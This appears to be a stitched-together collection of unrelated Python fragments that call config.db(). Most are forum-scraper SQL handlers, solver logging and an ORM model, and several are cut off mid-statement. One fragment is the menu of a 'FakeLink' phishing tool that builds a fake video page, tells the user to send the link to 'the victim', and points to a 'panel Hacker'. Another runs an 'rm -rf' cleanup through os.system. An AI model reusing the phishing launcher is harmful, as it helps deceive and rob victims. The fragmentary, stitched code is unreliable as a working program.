def createTable(boardid, big=""): sql = """ CREATE TABLE `{}bbs_{}` ( `id` int(11) NOT NULL, `lc` int(255) NOT NULL, `posttime` datetime NOT NULL, `edittime` datetime NOT NULL, `user` varchar(66) NOT NULL, `content` longtext NOT NULL, `gettime` datetime NOT NULL, PRIMARY KEY (`id`,`lc`,`edittime`,`posttime`,`user`), KEY `a1` (`posttime`), KEY `a2` (`user`), KEY `a3` (`gettime`), KEY `a4` (`id`), KEY `a5` (`lc`), KEY `a6` (`edittime`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8; """.format(big, boardid) global conn conn = db() cur = conn.cursor() try: cur.execute(sql) conn.commit() except: pass conn = db()
def createTable(boardid, big=""): """ 建表函数 需要传入板块id 和 大表前缀("big"或""),尝试进行建表sql语句,忽视错误(如表已经存在) :param boardid: 板块id,如"100" :param big: 传入空字符串表示普通表如bbs_100,传入"big"表示历史大表 如bigbbs_100 :return: """ sql = """ CREATE TABLE `{big}bbs_{boardid}` ( `id` int(11) NOT NULL, `lc` int(255) NOT NULL, `posttime` datetime NOT NULL, `edittime` datetime NOT NULL, `user` varchar(66) NOT NULL, `content` longtext NOT NULL, `gettime` datetime NOT NULL, PRIMARY KEY (`id`,`lc`,`edittime`,`posttime`,`user`), KEY `a1` (`posttime`), KEY `a2` (`user`), KEY `a3` (`gettime`), KEY `a4` (`id`), KEY `a5` (`lc`), KEY `a6` (`edittime`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4; """.format(big=big, boardid=boardid) global conn conn = db() # 强制重新与数据库重新连接 TODO: 是否有必要? cur = conn.cursor() try: cur.execute(sql) conn.commit() except: pass conn = db()
def log(self, level, message, data=None): super().log(level, message) if not config.db() or level < self.config.log_level: return config.db().cursor().execute( "INSERT INTO {}ServerLog (level, message, data) " "VALUES (?,?,?)".format(config.table_prefix), (logging.getLevelName(level), message, json.dumps(data) if data else None)) config.db().commit()
def _db_log(self, event: str, data: dict = None): if not config.db(): return config.db().cursor().execute( "INSERT INTO {}SolvingHistory (name, node, event, solver, data) " "VALUES (?,?,?,?,?)".format(config.table_prefix), (self.node.root.name, str( self.node.path()), event, json.dumps( self.remote_address), json.dumps(data) if data else None)) config.db().commit()
def getworkset(): conn = db() workset = [] for i in rawlist2: try: runsql("desc bigbbs_{}".format(i)) except: #表不存在就说明我要get咯,加入workset workset.append(i) return (workset)
def runsql(sql): global conn conn=db() cur = conn.cursor() try: cur.execute(sql) conn.commit() except Exception as e: print("Error:") print(e)
def handler(meta, boardid, id, result, big): """ 将得到的数据插入数据库,本函数全局只会运行一份 :param meta: 见mpms文档 :param boardid: 板块id :param id: 帖子id :param result: 爬取的帖子内容 list类型 [楼层lc, 用户名user, 发帖内容content, 发帖时间posttime, 最后编辑时间lastedittime] :param big: 是否大表 ""或"big" :return: 无返回值 """ if len(result) == 0: return if len(result) > 1000: # avoid too long sql handler(meta, boardid, id, result[1000:], big) result = result[:1000] if result[0][0] == 0: # 由于避免太长sql的特性,result[0]可能不是帖子标题,判断不是标题就不要显示了 try: showline = [boardid, id, result[0][2], len(result)] if myip != "": showline.insert(0, myip) # if enables multiple ip, print IP first print(" ".join(str(i) for i in (showline))) except: try: print(" ".join(str(i) for i in (boardid, id, pformat(result[0][2]), len(result)))) except: print("Something cannot print") global conn sql = "insert ignore into {}bbs_{}(id,lc,user,content,posttime,edittime,gettime) values ".format(big, boardid) for i in result: sql += "({},{},\"{}\",\"{}\",\"{}\",\"{}\",now()),".format(id, i[0], pymysql.escape_string(i[1]), pymysql.escape_string(i[2]), i[3], i[4]) # print(sql) sql = sql[:-1] # 将数据库改为utf8mb4编码后,现在不再替换emoji表情 cur = conn.cursor() try: cur.execute( "SET NAMES utf8mb4;SET CHARACTER SET utf8mb4; SET character_set_connection=utf8mb4;") # 相应的这里要处理好编码问题 except: conn = db() cur.execute("SET NAMES utf8mb4;SET CHARACTER SET utf8mb4; SET character_set_connection=utf8mb4;") try: cur.execute(sql) conn.commit() except pymysql.err.ProgrammingError as e: # 这种错误就是还没有建表,先调用建表函数再插入 createTable(boardid, big=big) cur.execute(sql) conn.commit() except Exception as e: print(e)
def partition(self): obj = self.json.copy() queries = [] for i in obj: try: if i[0] != 'rule': continue i = i[1] while i[0] == 'let': i = i[2] if i[0] == '=>' and i[2] == self.query: queries.append('{}{}'.format(self.query, len(queries))) i[2] = queries[-1] except: pass for i in range(len(obj)): if obj[i][0] == 'declare-rel': for query in queries: obj.insert(i, ['declare-rel', query, []]) break parent = OrNode(self, utils.json2smt(obj)) if config.db(): config.db().cursor().execute( "INSERT INTO {}SolvingHistory (name, node, event, solver, data) " "VALUES (?,?,?,?,?)".format(config.table_prefix), (self.name, str(self.path()), 'OR', '', json.dumps({'node': str(parent.path())}))) for query in queries: child = AndNode(parent, '(query ' + query + ')') if config.db(): config.db().cursor().execute( "INSERT INTO {}SolvingHistory (name, node, event, solver, data) " "VALUES (?,?,?,?,?)".format(config.table_prefix), (self.name, str(self.path()), 'AND', '', json.dumps({'node': str(child.path())}))) if config.db(): config.db().commit()
def open(): global store database = create_database("sqlite:"+config.db()) store = Store(database) Person.createTable(store) PersonAtt.createTable(store) Att.createTable(store) Tag.createTable(store) Thing.createTable(store) ThingAtt.createTable(store) ThingFrom.createTable(store) ThingTo.createTable(store) ThingTag.createTable(store) Service.createTable(store) Credential.createTable(store) store.commit()
def handler(meta, boardid, id, result, big): if len(result) == 0: return if len(result) > 1000: #avoid too long sql handler(meta, boardid, id, result[1000:], big) result = result[:1000] try: print(" ".join( str(i) for i in (boardid, id, result[0][2], len(result)))) except: try: print(" ".join( str(i) for i in (boardid, id, pformat(result[0][2]), len(result)))) except: print("Something cannot print") global conn sql = "insert ignore into {}bbs_{}(id,lc,user,content,posttime,edittime,gettime) values ".format( big, boardid) for i in result: sql += "({},{},\"{}\",\"{}\",\"{}\",\"{}\",date_add(now(),interval 8 hour)),".format( id, i[0], pymysql.escape_string(i[1]), pymysql.escape_string(i[2]), i[3], i[4]) #print(sql) sql = filter_emoji(sql[:-1]) #.replace("\n","<br>") #print(sql) cur = conn.cursor() try: cur.execute("SET NAMES utf8;") except: conn = db() try: cur.execute(sql) conn.commit() except pymysql.err.ProgrammingError as e: createTable(boardid, big=big) cur.execute(sql) conn.commit() except Exception as e: print(e)
def runsql(): global conn conn = db() cur = conn.cursor() cur.execute(sql) conn.commit()
`edittime` datetime NOT NULL, `user` varchar(66) NOT NULL, `content` longtext NOT NULL, `gettime` datetime NOT NULL, PRIMARY KEY (`id`,`lc`,`edittime`,`posttime`,`user`), KEY `a1` (`posttime`), KEY `a2` (`user`), KEY `a3` (`gettime`), KEY `a4` (`id`), KEY `a5` (`lc`), KEY `a6` (`edittime`) ) ENGINE=MRG_MyISAM DEFAULT CHARSET=utf8mb4 UNION=(`bigbbs_100`,`bigbbs_758`,`bigbbs_...`); #! change here to your bigbbs table list! """ from config import db conn = db() def runsql(sql): global conn conn=db() cur = conn.cursor() try: cur.execute(sql) conn.commit() except Exception as e: print("Error:") print(e) thesql = """ CREATE TABLE if not exists `bigbbs_{id}` ( `id` int(11) NOT NULL,
#coding:utf-8 import time import os import config conn = config.db() cur = conn.cursor() def dropTB(): cur.execute("DROP TABLE gonggao") cur.execute("DROP TABLE inverted") os.system("rm -rf " + config.path + "/txtlistSH/*") os.system("rm -rf " + config.path + "/pdflist/*") def createTB(): cur.execute("CREATE TABLE \ gonggao(Id INT PRIMARY KEY AUTO_INCREMENT,\ Gonggaoming VARCHAR(100),\ Urlpath VARCHAR(255),\ OrderDate timestamp not null DEFAULT NOW())") cur.execute("CREATE TABLE \ inverted(Id INT PRIMARY KEY AUTO_INCREMENT,\ keyword varchar(255),\ txtID text) ") dropTB() createTB()
from config import myip # myip是一个目前操作系统已经获得的IP,至于Linux如何获得多个IP可以参考:https://py3.io/Linux-setup.html#ip-1 socket.create_connection = function_hook_parameter(socket.create_connection, 3, "source_address", (myip, 0)) requests.packages.urllib3.util.connection.create_connection = function_hook_parameter( requests.packages.urllib3.util.connection.create_connection, 3, "source_address", (myip, 0) ) # 我就是在PyCharm里一步步Ctrl点击发现的这requests复制了一份socket.create_connection的代码并加上了新功能 从而绕过了socket.create_connection,藏的这么深Orz else: myip = "" DOMAIN = "http://www.cc98.org" # 假设当前网络能访问到本域名 conn = db() # 建立数据库连接,如果数据库连接失败 不处理异常 直接退出 myredis = redis_conn() # 建立redis连接 def createTable(boardid, big=""): """ 建表函数 需要传入板块id 和 大表前缀("big"或""),尝试进行建表sql语句,忽视错误(如表已经存在) :param boardid: 板块id,如"100" :param big: 传入空字符串表示普通表如bbs_100,传入"big"表示历史大表 如bigbbs_100 :return: """ sql = """ CREATE TABLE `{big}bbs_{boardid}` ( `id` int(11) NOT NULL, `lc` int(255) NOT NULL, `posttime` datetime NOT NULL,
def menu(): _menu = """ -------------------------------------------------------- ███████╗░█████╗░██╗░░██╗███████╗██╗░░░░░██╗███╗░░██╗██╗░░██╗ ██╔════╝██╔══██╗██║░██╔╝██╔════╝██║░░░░░██║████╗░██║██║░██╔╝ █████╗░░███████║█████═╝░█████╗░░██║░░░░░██║██╔██╗██║█████═╝░ ██╔══╝░░██╔══██║██╔═██╗░██╔══╝░░██║░░░░░██║██║╚████║██╔═██╗░ ██║░░░░░██║░░██║██║░╚██╗███████╗███████╗██║██║░╚███║██║░╚██╗ ╚═╝░░░░░╚═╝░░╚═╝╚═╝░░╚═╝╚══════╝╚══════╝╚═╝╚═╝░░╚══╝╚═╝░░╚═╝ version:1.0 [+] By Fouad@Algeria - 2020 [+] [email protected]. -------------------------------------------------------- 1 ) start 2 ) about 3 ) exit * warning : - Run Apache first. - If you do not have Apache: Download and install it from the following link: https://www.apachefriends.org/index.html and run app again (*_-). --------------------------------------------------------- """ #os.system("color 9") this code from change a color from cmd or tarminal ==>(color 9) is color blue print(_menu) data_server = 'd_s.txt' chose = int(input('< enter Your choice > ')) if chose == 1: print(""" -------------------------------------- 1 ) new server Connect 2 ) old server Connect 3 ) return Menu 4 ) exit -------------------------------------- """) connect = int(input('< Enter Your choice > ')) if connect == 1: server = input('< enter server Name > ') username = input('< enter username > ') password = input('< enter password > ') db = config.db(server, username, password) db.connect() saveInfoServer = input( '< Do you want to save the data for this server? (y/n)>') if saveInfoServer.lower() == 'y': file = open(data_server, "w+") file.write(server + ',' + username + ',' + password) file.close() print('data saved !!') # here code init from page php and print link print('----------------------------------') #Fake(Project,hackUrl, hackTitel, hackProfile, hackDesc): project = input('< Enter Name Project > ') hackUrl = input('< Enter url From Video > ') hackTitel = input('< Enter Titel video > ') hackProfile = input('< Enter Name Fake Profile > ') hackDesc = input('< Enter Description video > ') print('----------------------------------') time.sleep(3) #os.system('cls') Fake(project, server, username, password, hackUrl, hackTitel, hackProfile, hackDesc) print( '------------------- Fake Project Is Created --------------------' ) print('[+] Folder from Project : ' + ture_path + '/' + project) print('[+] Victim : Send the link to the victim ') print('[+] => http://' + server + '/' + project + '/index.html') print('[+] panel Hacker : http://' + server + '/' + project + '/panel.php') print( '----------------------------------------------------------------' ) elif connect == 2: if os.path.exists(data_server): file = open(data_server) data = file.read().split(',') db = config.db(data[0], data[1], data[2]) db.connect() #here code ... else: print('You do not have any old connection to a server') print('try again (-__-) ..') time.sleep(3) os.system('cls') os.system('FakeLink.py') elif connect == 3: os.system('cls') os.system('FakeLink.py') elif connect == 4: os.system('cls') exit() else: print('Your choice not found ') time.sleep(3) os.system('cls') os.system('FakeLink.py') # here start create new project elif chose == 2: about() y = input('Do you want return (y/n) > ') if y == 'y': os.system('cls') os.system('FakeLink.py') else: exit() # here print about from app elif chose == 3: # here exit from app exit()
class Dict(Base): __tablename__ = 'tb_dict' id = Column(INT, primary_key=True) code = Column(String) value = Column(String) remark = Column(String) sort = Column(INT) type = Column(String) status = Column(INT) create_time = Column(DATETIME) creator_id = Column(String) creator_name = Column(String) update_time = Column(DATETIME) updater_id = Column(String) updater_name = Column(String) user = config.db('user') password = config.db('password') url = config.db('url') name = config.db('name') max_overflow = int(config.db('max_overflow')) db = 'mysql+pymysql://' + user + ':' + password + '@' + url + '/' + name engine = create_engine(db, max_overflow=max_overflow) DBSession = sessionmaker(bind=engine)